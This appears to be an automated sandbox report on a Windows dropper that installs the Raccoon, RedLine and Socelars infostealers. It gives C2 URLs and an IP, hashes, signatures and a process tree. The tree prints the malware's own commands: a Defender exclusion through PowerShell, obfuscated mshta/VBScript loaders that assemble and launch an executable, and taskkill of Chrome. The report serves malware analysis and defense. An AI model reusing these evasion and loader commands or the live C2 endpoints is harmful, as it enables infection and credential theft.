raccoon | 400debff42246bcf28d1eba937480ebdfa755c932707db10ab58ec4a1f5e94f1

Resubmissions

10-11-2021 14:52

211110-r84p8aedej 10

09-11-2021 13:19

211109-qkrv3sfcg4 10

Analysis

max time kernel
31s
max time network
168s
platform
windows7_x64
resource
win7-en-20211104
submitted
09-11-2021 13:19

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

1df367eead22695952cce5131891dfec5c479da37cb3dac0403015ebb785032c.exe
Size

4.6MB
MD5

cc2c8271c80d294b35d51b0721d59ba5
SHA1

397ee3270770e940ee868d3d06d9feaed1599d79
SHA256

1df367eead22695952cce5131891dfec5c479da37cb3dac0403015ebb785032c
SHA512

ecfd4c52c008a86ca387a00c530fcac2971080b5cabae4d91da425f3cb042ca2e363c5048c0ea7349ea446f4e3797c04448b84a863fbf9672dded861cc22f34c

Score

10^/10

raccoon redline socelars 2f2ad1a1aa093c5a9d17040c8efd5650a99640b5 fucker2 aspackv2 infostealer stealer

Malware Config

Extracted

Family

socelars

http://www.iyiqian.com/

http://www.hbgents.top/

http://www.rsnzhy.com/

http://www.efxety.top/

Extracted

Family

raccoon

Botnet

2f2ad1a1aa093c5a9d17040c8efd5650a99640b5

Attributes

url4cnc
http://telegatt.top/oh12manymarty

http://telegka.top/oh12manymarty

http://telegin.top/oh12manymarty

https://t.me/oh12manymarty

rc4.plain

Extracted

Family

redline

Botnet

fucker2

135.181.129.119:4805

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2748	2444	rundll32.exe	67

Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 6 IoCs

resource	yara_rule
behavioral11/memory/2460-220-0x0000000000400000-0x0000000000422000-memory.dmp	family_redline
behavioral11/memory/2460-221-0x0000000000400000-0x0000000000422000-memory.dmp	family_redline
behavioral11/memory/2460-223-0x0000000000400000-0x0000000000422000-memory.dmp	family_redline
behavioral11/memory/2460-224-0x000000000041B23E-mapping.dmp	family_redline
behavioral11/memory/2460-227-0x0000000000400000-0x0000000000422000-memory.dmp	family_redline
behavioral11/memory/1504-268-0x000000000041B23E-mapping.dmp	family_redline

Socelars
Socelars is an infostealer targeting browser cookies and credit card credentials.
stealer socelars

Socelars Payload 2 IoCs

resource	yara_rule
behavioral11/files/0x000500000001384e-103.dat	family_socelars
behavioral11/files/0x000500000001384e-153.dat	family_socelars

ASPack v2.12-2.42 6 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral11/files/0x00050000000132ee-71.dat	aspack_v212_v242
behavioral11/files/0x00050000000132ee-72.dat	aspack_v212_v242
behavioral11/files/0x000700000001223d-73.dat	aspack_v212_v242
behavioral11/files/0x000700000001223d-74.dat	aspack_v212_v242
behavioral11/files/0x000500000001330a-77.dat	aspack_v212_v242
behavioral11/files/0x000500000001330a-78.dat	aspack_v212_v242

Executes dropped EXE 9 IoCs

pid	Process
240	setup_installer.exe
1120	setup_install.exe
1480	Tue163780a61739cb6.exe
304	Tue16a7c3efab763.exe
1148	Tue1621951a3a0658.exe
1452	Tue1629916ece.exe
1664	Tue16f46ea549f747.exe
1244	Tue16032d9ad2b0.exe
1220	Tue162240c754578.exe

Loads dropped DLL 37 IoCs

pid	Process
864	1df367eead22695952cce5131891dfec5c479da37cb3dac0403015ebb785032c.exe
240	setup_installer.exe
240	setup_installer.exe
240	setup_installer.exe
240	setup_installer.exe
240	setup_installer.exe
240	setup_installer.exe
1120	setup_install.exe
1120	setup_install.exe
1120	setup_install.exe
1120	setup_install.exe
1120	setup_install.exe
1120	setup_install.exe
1120	setup_install.exe
1120	setup_install.exe
1532	cmd.exe
1780	cmd.exe
1612	cmd.exe
1584	cmd.exe
1584	cmd.exe
1780	cmd.exe
1624	cmd.exe
1964	cmd.exe
1796	cmd.exe
1796	cmd.exe
1988	cmd.exe
1792	cmd.exe
672	cmd.exe
1792	cmd.exe
1480	Tue163780a61739cb6.exe
1480	Tue163780a61739cb6.exe
304	Tue16a7c3efab763.exe
304	Tue16a7c3efab763.exe
1244	Tue16032d9ad2b0.exe
1244	Tue16032d9ad2b0.exe
1664	Tue16f46ea549f747.exe
1664	Tue16f46ea549f747.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
73	ip-api.com

Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1064	1120	WerFault.exe	29

Kills process with taskkill 3 IoCs

evasion

pid	Process
2568	taskkill.exe
2720	taskkill.exe
2400	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 864 wrote to memory of 240	864	1df367eead22695952cce5131891dfec5c479da37cb3dac0403015ebb785032c.exe	28
PID 864 wrote to memory of 240	864	1df367eead22695952cce5131891dfec5c479da37cb3dac0403015ebb785032c.exe	28
PID 864 wrote to memory of 240	864	1df367eead22695952cce5131891dfec5c479da37cb3dac0403015ebb785032c.exe	28
PID 864 wrote to memory of 240	864	1df367eead22695952cce5131891dfec5c479da37cb3dac0403015ebb785032c.exe	28
PID 864 wrote to memory of 240	864	1df367eead22695952cce5131891dfec5c479da37cb3dac0403015ebb785032c.exe	28
PID 864 wrote to memory of 240	864	1df367eead22695952cce5131891dfec5c479da37cb3dac0403015ebb785032c.exe	28
PID 864 wrote to memory of 240	864	1df367eead22695952cce5131891dfec5c479da37cb3dac0403015ebb785032c.exe	28
PID 240 wrote to memory of 1120	240	setup_installer.exe	29
PID 240 wrote to memory of 1120	240	setup_installer.exe	29
PID 240 wrote to memory of 1120	240	setup_installer.exe	29
PID 240 wrote to memory of 1120	240	setup_installer.exe	29
PID 240 wrote to memory of 1120	240	setup_installer.exe	29
PID 240 wrote to memory of 1120	240	setup_installer.exe	29
PID 240 wrote to memory of 1120	240	setup_installer.exe	29
PID 1120 wrote to memory of 1328	1120	setup_install.exe	31
PID 1120 wrote to memory of 1328	1120	setup_install.exe	31
PID 1120 wrote to memory of 1328	1120	setup_install.exe	31
PID 1120 wrote to memory of 1328	1120	setup_install.exe	31
PID 1120 wrote to memory of 1328	1120	setup_install.exe	31
PID 1120 wrote to memory of 1328	1120	setup_install.exe	31
PID 1120 wrote to memory of 1328	1120	setup_install.exe	31
PID 1120 wrote to memory of 1428	1120	setup_install.exe	32
PID 1120 wrote to memory of 1428	1120	setup_install.exe	32
PID 1120 wrote to memory of 1428	1120	setup_install.exe	32
PID 1120 wrote to memory of 1428	1120	setup_install.exe	32
PID 1120 wrote to memory of 1428	1120	setup_install.exe	32
PID 1120 wrote to memory of 1428	1120	setup_install.exe	32
PID 1120 wrote to memory of 1428	1120	setup_install.exe	32
PID 1120 wrote to memory of 1624	1120	setup_install.exe	33
PID 1120 wrote to memory of 1624	1120	setup_install.exe	33
PID 1120 wrote to memory of 1624	1120	setup_install.exe	33
PID 1120 wrote to memory of 1624	1120	setup_install.exe	33
PID 1120 wrote to memory of 1624	1120	setup_install.exe	33
PID 1120 wrote to memory of 1624	1120	setup_install.exe	33
PID 1120 wrote to memory of 1624	1120	setup_install.exe	33
PID 1120 wrote to memory of 672	1120	setup_install.exe	34
PID 1120 wrote to memory of 672	1120	setup_install.exe	34
PID 1120 wrote to memory of 672	1120	setup_install.exe	34
PID 1120 wrote to memory of 672	1120	setup_install.exe	34
PID 1120 wrote to memory of 672	1120	setup_install.exe	34
PID 1120 wrote to memory of 672	1120	setup_install.exe	34
PID 1120 wrote to memory of 672	1120	setup_install.exe	34
PID 1120 wrote to memory of 1496	1120	setup_install.exe	35
PID 1120 wrote to memory of 1496	1120	setup_install.exe	35
PID 1120 wrote to memory of 1496	1120	setup_install.exe	35
PID 1120 wrote to memory of 1496	1120	setup_install.exe	35
PID 1120 wrote to memory of 1496	1120	setup_install.exe	35
PID 1120 wrote to memory of 1496	1120	setup_install.exe	35
PID 1120 wrote to memory of 1496	1120	setup_install.exe	35
PID 1120 wrote to memory of 1792	1120	setup_install.exe	36
PID 1120 wrote to memory of 1792	1120	setup_install.exe	36
PID 1120 wrote to memory of 1792	1120	setup_install.exe	36
PID 1120 wrote to memory of 1792	1120	setup_install.exe	36
PID 1120 wrote to memory of 1792	1120	setup_install.exe	36
PID 1120 wrote to memory of 1792	1120	setup_install.exe	36
PID 1120 wrote to memory of 1792	1120	setup_install.exe	36
PID 1120 wrote to memory of 1728	1120	setup_install.exe	37
PID 1120 wrote to memory of 1728	1120	setup_install.exe	37
PID 1120 wrote to memory of 1728	1120	setup_install.exe	37
PID 1120 wrote to memory of 1728	1120	setup_install.exe	37
PID 1120 wrote to memory of 1728	1120	setup_install.exe	37
PID 1120 wrote to memory of 1728	1120	setup_install.exe	37
PID 1120 wrote to memory of 1728	1120	setup_install.exe	37
PID 1120 wrote to memory of 1964	1120	setup_install.exe	38

C:\Users\Admin\AppData\Local\Temp\1df367eead22695952cce5131891dfec5c479da37cb3dac0403015ebb785032c.exe
"C:\Users\Admin\AppData\Local\Temp\1df367eead22695952cce5131891dfec5c479da37cb3dac0403015ebb785032c.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:864
- C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
  "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:240
- - C:\Users\Admin\AppData\Local\Temp\7zS0F08DB46\setup_install.exe
    "C:\Users\Admin\AppData\Local\Temp\7zS0F08DB46\setup_install.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:1120
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      PID:1328
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        5⤵
        
        PID:1816
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue16f67a5eee0697.exe
      4⤵
      PID:1428
    - - C:\Users\Admin\AppData\Local\Temp\7zS0F08DB46\Tue16f67a5eee0697.exe
        
        Tue16f67a5eee0697.exe
        5⤵
        
        PID:1776
    - - C:\Users\Admin\AppData\Local\Temp\7zS0F08DB46\Tue16f67a5eee0697.exe
        
        "C:\Users\Admin\AppData\Local\Temp\7zS0F08DB46\Tue16f67a5eee0697.exe"
        5⤵
        
        PID:1652
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue163e04888c9acf002.exe
      4⤵
      Loads dropped DLL
      PID:1624
    - - C:\Users\Admin\AppData\Local\Temp\7zS0F08DB46\Tue163e04888c9acf002.exe
        
        Tue163e04888c9acf002.exe
        5⤵
        
        PID:396
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c taskkill /f /im chrome.exe
        6⤵
        
        PID:2352
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im chrome.exe
        7⤵
        Kills process with taskkill
        
        PID:2400
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue16032d9ad2b0.exe
      4⤵
      Loads dropped DLL
      PID:672
    - - C:\Users\Admin\AppData\Local\Temp\7zS0F08DB46\Tue16032d9ad2b0.exe
        
        Tue16032d9ad2b0.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1244
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue16b713e2343c2e8.exe
      4⤵
      PID:1496
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue1629916ece.exe
      4⤵
      Loads dropped DLL
      PID:1792
    - - C:\Users\Admin\AppData\Local\Temp\7zS0F08DB46\Tue1629916ece.exe
        
        Tue1629916ece.exe
        5⤵
        Executes dropped EXE
        
        PID:1452
      - C:\Users\Admin\AppData\Local\Temp\7zS0F08DB46\Tue1629916ece.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS0F08DB46\Tue1629916ece.exe
        6⤵
        
        PID:3004
      - C:\Users\Admin\AppData\Local\Temp\7zS0F08DB46\Tue1629916ece.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS0F08DB46\Tue1629916ece.exe
        6⤵
        
        PID:1504
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue16c290ca3a37.exe
      4⤵
      PID:1728
    - - C:\Users\Admin\AppData\Local\Temp\7zS0F08DB46\Tue16c290ca3a37.exe
        
        Tue16c290ca3a37.exe
        5⤵
        
        PID:1984
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue1695ffc929b4170.exe
      4⤵
      Loads dropped DLL
      PID:1964
    - - C:\Users\Admin\AppData\Local\Temp\7zS0F08DB46\Tue1695ffc929b4170.exe
        
        Tue1695ffc929b4170.exe
        5⤵
        
        PID:1836
      - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VBScrIPt: ClOse ( CrEATeobjEct ( "wScRipt.SHELl").run ( "CMd /C tYpe ""C:\Users\Admin\AppData\Local\Temp\7zS0F08DB46\Tue1695ffc929b4170.exe""> fkKCS.exe&& StarT fkKCS.EXE -P_3FA3g8_0NB & If """" == """" for %E In ( ""C:\Users\Admin\AppData\Local\Temp\7zS0F08DB46\Tue1695ffc929b4170.exe"" ) do taskkill -F /iM ""%~nXE"" ", 0, True ) )
        6⤵
        
        PID:1544
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C tYpe "C:\Users\Admin\AppData\Local\Temp\7zS0F08DB46\Tue1695ffc929b4170.exe"> fkKCS.exe&& StarT fkKCS.EXE -P_3FA3g8_0NB & If "" =="" for %E In ( "C:\Users\Admin\AppData\Local\Temp\7zS0F08DB46\Tue1695ffc929b4170.exe" ) do taskkill -F /iM "%~nXE"
        7⤵
        
        PID:2636
        
        C:\Users\Admin\AppData\Local\Temp\fkKCS.exe
        
        fkKCS.EXE -P_3FA3g8_0NB
        8⤵
        
        PID:2708
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VBScrIPt: ClOse ( CrEATeobjEct ( "wScRipt.SHELl").run ( "CMd /C tYpe ""C:\Users\Admin\AppData\Local\Temp\fkKCS.exe""> fkKCS.exe&& StarT fkKCS.EXE -P_3FA3g8_0NB & If ""-P_3FA3g8_0NB "" == """" for %E In ( ""C:\Users\Admin\AppData\Local\Temp\fkKCS.exe"" ) do taskkill -F /iM ""%~nXE"" ", 0, True ) )
        9⤵
        
        PID:2764
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C tYpe "C:\Users\Admin\AppData\Local\Temp\fkKCS.exe"> fkKCS.exe&& StarT fkKCS.EXE -P_3FA3g8_0NB & If "-P_3FA3g8_0NB " =="" for %E In ( "C:\Users\Admin\AppData\Local\Temp\fkKCS.exe" ) do taskkill -F /iM "%~nXE"
        10⤵
        
        PID:2928
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VBscRipt: ClOSE( cREaTEOBjEcT ("wSCript.sheLl").RUN ( "Cmd.eXE /c echo N%TIme%O>VPZp.II & EChO | set /p = ""MZ"" > KL6F.Aa_ &cOpY /y /B kL6F.AA_+LAQIL0YY.POg + vCTGFFAM.2ST + ip~Q0M_L.i + IfY08H17.9LD + 1cQMG.2 + VpZp.II PUA9.FS & sTaRT msiexec.exe /Y .\pUA9.FS " ,0 , TRUe ) )
        9⤵
        
        PID:3036
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c echo N%TIme%O>VPZp.II & EChO | set /p = "MZ" > KL6F.Aa_ &cOpY /y /B kL6F.AA_+LAQIL0YY.POg + vCTGFFAM.2ST+ ip~Q0M_L.i + IfY08H17.9LD + 1cQMG.2 + VpZp.II PUA9.FS & sTaRT msiexec.exe /Y .\pUA9.FS
        10⤵
        
        PID:2124
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" EChO "
        11⤵
        
        PID:2140
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" set /p = "MZ" 1>KL6F.Aa_"
        11⤵
        
        PID:1816
        
        C:\Windows\SysWOW64\msiexec.exe
        
        msiexec.exe /Y .\pUA9.FS
        11⤵
        
        PID:2148
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill -F /iM "Tue1695ffc929b4170.exe"
        8⤵
        Kills process with taskkill
        
        PID:2720
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue1647534a1c.exe
      4⤵
      PID:1020
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue1621951a3a0658.exe
      4⤵
      Loads dropped DLL
      PID:1988
    - - C:\Users\Admin\AppData\Local\Temp\7zS0F08DB46\Tue1621951a3a0658.exe
        
        Tue1621951a3a0658.exe
        5⤵
        Executes dropped EXE
        
        PID:1148
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue16f46ea549f747.exe
      4⤵
      Loads dropped DLL
      PID:1796
    - - C:\Users\Admin\AppData\Local\Temp\7zS0F08DB46\Tue16f46ea549f747.exe
        
        Tue16f46ea549f747.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1664
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue16fccf86b7915db5.exe /mixone
      4⤵
      Loads dropped DLL
      PID:1780
    - - C:\Users\Admin\AppData\Local\Temp\7zS0F08DB46\Tue16fccf86b7915db5.exe
        
        Tue16fccf86b7915db5.exe /mixone
        5⤵
        
        PID:1436
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "Tue16fccf86b7915db5.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zS0F08DB46\Tue16fccf86b7915db5.exe" & exit
        6⤵
        
        PID:2492
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "Tue16fccf86b7915db5.exe" /f
        7⤵
        Kills process with taskkill
        
        PID:2568
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue16a7c3efab763.exe
      4⤵
      Loads dropped DLL
      PID:1532
    - - C:\Users\Admin\AppData\Local\Temp\7zS0F08DB46\Tue16a7c3efab763.exe
        
        Tue16a7c3efab763.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:304
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue162240c754578.exe
      4⤵
      Loads dropped DLL
      PID:1584
    - - C:\Users\Admin\AppData\Local\Temp\7zS0F08DB46\Tue162240c754578.exe
        
        Tue162240c754578.exe
        5⤵
        Executes dropped EXE
        
        PID:1220
      - C:\Users\Admin\AppData\Local\Temp\7zS0F08DB46\Tue162240c754578.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS0F08DB46\Tue162240c754578.exe
        6⤵
        
        PID:2360
      - C:\Users\Admin\AppData\Local\Temp\7zS0F08DB46\Tue162240c754578.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS0F08DB46\Tue162240c754578.exe
        6⤵
        
        PID:2396
      - C:\Users\Admin\AppData\Local\Temp\7zS0F08DB46\Tue162240c754578.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS0F08DB46\Tue162240c754578.exe
        6⤵
        
        PID:2460
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue163780a61739cb6.exe
      4⤵
      Loads dropped DLL
      PID:1612
    - - C:\Users\Admin\AppData\Local\Temp\7zS0F08DB46\Tue163780a61739cb6.exe
        
        Tue163780a61739cb6.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1480
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1120 -s 476
      4⤵
      Program crash
      PID:1064

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:2748
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:2776

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k SystemNetworkService
1⤵
PID:2900

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Web Service

T1102

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/864-55-0x0000000075851000-0x0000000075853000-memory.dmp

Filesize
8KB

Download
memory/872-244-0x0000000000E60000-0x0000000000ED2000-memory.dmp

Filesize
456KB

Download
memory/872-243-0x00000000008B0000-0x00000000008FD000-memory.dmp

Filesize
308KB

Download
memory/1064-207-0x0000000000320000-0x0000000000321000-memory.dmp

Filesize
4KB

Download
memory/1120-97-0x000000006B440000-0x000000006B4CF000-memory.dmp

Filesize
572KB

Download
memory/1120-96-0x0000000064940000-0x0000000064959000-memory.dmp

Filesize
100KB

Download
memory/1120-93-0x000000006B280000-0x000000006B2A6000-memory.dmp

Filesize
152KB

Download
memory/1120-91-0x0000000064940000-0x0000000064959000-memory.dmp

Filesize
100KB

Download
memory/1120-88-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Filesize
1.5MB

Download
memory/1120-98-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Filesize
1.5MB

Download
memory/1120-90-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Filesize
1.5MB

Download
memory/1120-89-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Filesize
1.5MB

Download
memory/1120-95-0x0000000064940000-0x0000000064959000-memory.dmp

Filesize
100KB

Download
memory/1120-94-0x0000000064940000-0x0000000064959000-memory.dmp

Filesize
100KB

Download
memory/1120-87-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Filesize
1.5MB

Download
memory/1120-85-0x000000006B440000-0x000000006B4CF000-memory.dmp

Filesize
572KB

Download
memory/1120-86-0x000000006B440000-0x000000006B4CF000-memory.dmp

Filesize
572KB

Download
memory/1120-92-0x000000006B280000-0x000000006B2A6000-memory.dmp

Filesize
152KB

Download
memory/1120-84-0x000000006B440000-0x000000006B4CF000-memory.dmp

Filesize
572KB

Download
memory/1148-181-0x0000000000C00000-0x0000000000C01000-memory.dmp

Filesize
4KB

Download
memory/1148-216-0x000000001AA00000-0x000000001AA02000-memory.dmp

Filesize
8KB

Download
memory/1220-213-0x0000000000970000-0x0000000000971000-memory.dmp

Filesize
4KB

Download
memory/1220-215-0x0000000004A10000-0x0000000004A11000-memory.dmp

Filesize
4KB

Download
memory/1244-210-0x00000000048F0000-0x00000000048F1000-memory.dmp

Filesize
4KB

Download
memory/1244-201-0x0000000001040000-0x0000000001041000-memory.dmp

Filesize
4KB

Download
memory/1244-209-0x0000000000330000-0x0000000000331000-memory.dmp

Filesize
4KB

Download
memory/1428-196-0x0000000002310000-0x0000000002311000-memory.dmp

Filesize
4KB

Download
memory/1436-194-0x0000000000320000-0x0000000000349000-memory.dmp

Filesize
164KB

Download
memory/1436-212-0x0000000000400000-0x0000000002F29000-memory.dmp

Filesize
43.2MB

Download
memory/1436-211-0x0000000000290000-0x00000000002D9000-memory.dmp

Filesize
292KB

Download
memory/1452-252-0x0000000004CC0000-0x0000000004CC1000-memory.dmp

Filesize
4KB

Download
memory/1504-273-0x0000000004D70000-0x0000000004D71000-memory.dmp

Filesize
4KB

Download
memory/1664-205-0x0000000000400000-0x00000000016FB000-memory.dmp

Filesize
19.0MB

Download
memory/1664-204-0x0000000000340000-0x00000000003CE000-memory.dmp

Filesize
568KB

Download
memory/1664-192-0x0000000001B80000-0x0000000001BCF000-memory.dmp

Filesize
316KB

Download
memory/1816-199-0x0000000000310000-0x0000000000311000-memory.dmp

Filesize
4KB

Download
memory/1816-206-0x0000000000311000-0x0000000000312000-memory.dmp

Filesize
4KB

Download
memory/1816-208-0x0000000000312000-0x0000000000314000-memory.dmp

Filesize
8KB

Download
memory/2148-278-0x0000000002540000-0x00000000025EC000-memory.dmp

Filesize
688KB

Download
memory/2148-279-0x00000000026A0000-0x000000000274B000-memory.dmp

Filesize
684KB

Download
memory/2460-240-0x0000000004B50000-0x0000000004B51000-memory.dmp

Filesize
4KB

Download
memory/2460-220-0x0000000000400000-0x0000000000422000-memory.dmp

Filesize
136KB

Download
memory/2460-223-0x0000000000400000-0x0000000000422000-memory.dmp

Filesize
136KB

Download
memory/2460-227-0x0000000000400000-0x0000000000422000-memory.dmp

Filesize
136KB

Download
memory/2460-221-0x0000000000400000-0x0000000000422000-memory.dmp

Filesize
136KB

Download
memory/2460-219-0x0000000000400000-0x0000000000422000-memory.dmp

Filesize
136KB

Download
memory/2460-218-0x0000000000400000-0x0000000000422000-memory.dmp

Filesize
136KB

Download
memory/2776-242-0x0000000001E40000-0x0000000001E9D000-memory.dmp

Filesize
372KB

Download
memory/2776-241-0x0000000000590000-0x0000000000691000-memory.dmp

Filesize
1.0MB

Download
memory/2900-245-0x0000000000060000-0x00000000000AD000-memory.dmp

Filesize
308KB

Download
memory/2900-248-0x00000000004C0000-0x0000000000532000-memory.dmp

Filesize
456KB

Download
memory/2900-280-0x00000000001F0000-0x000000000020B000-memory.dmp

Filesize
108KB

Download
memory/2900-281-0x0000000002CF0000-0x0000000002DF5000-memory.dmp

Filesize
1.0MB

Download

Resubmissions

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads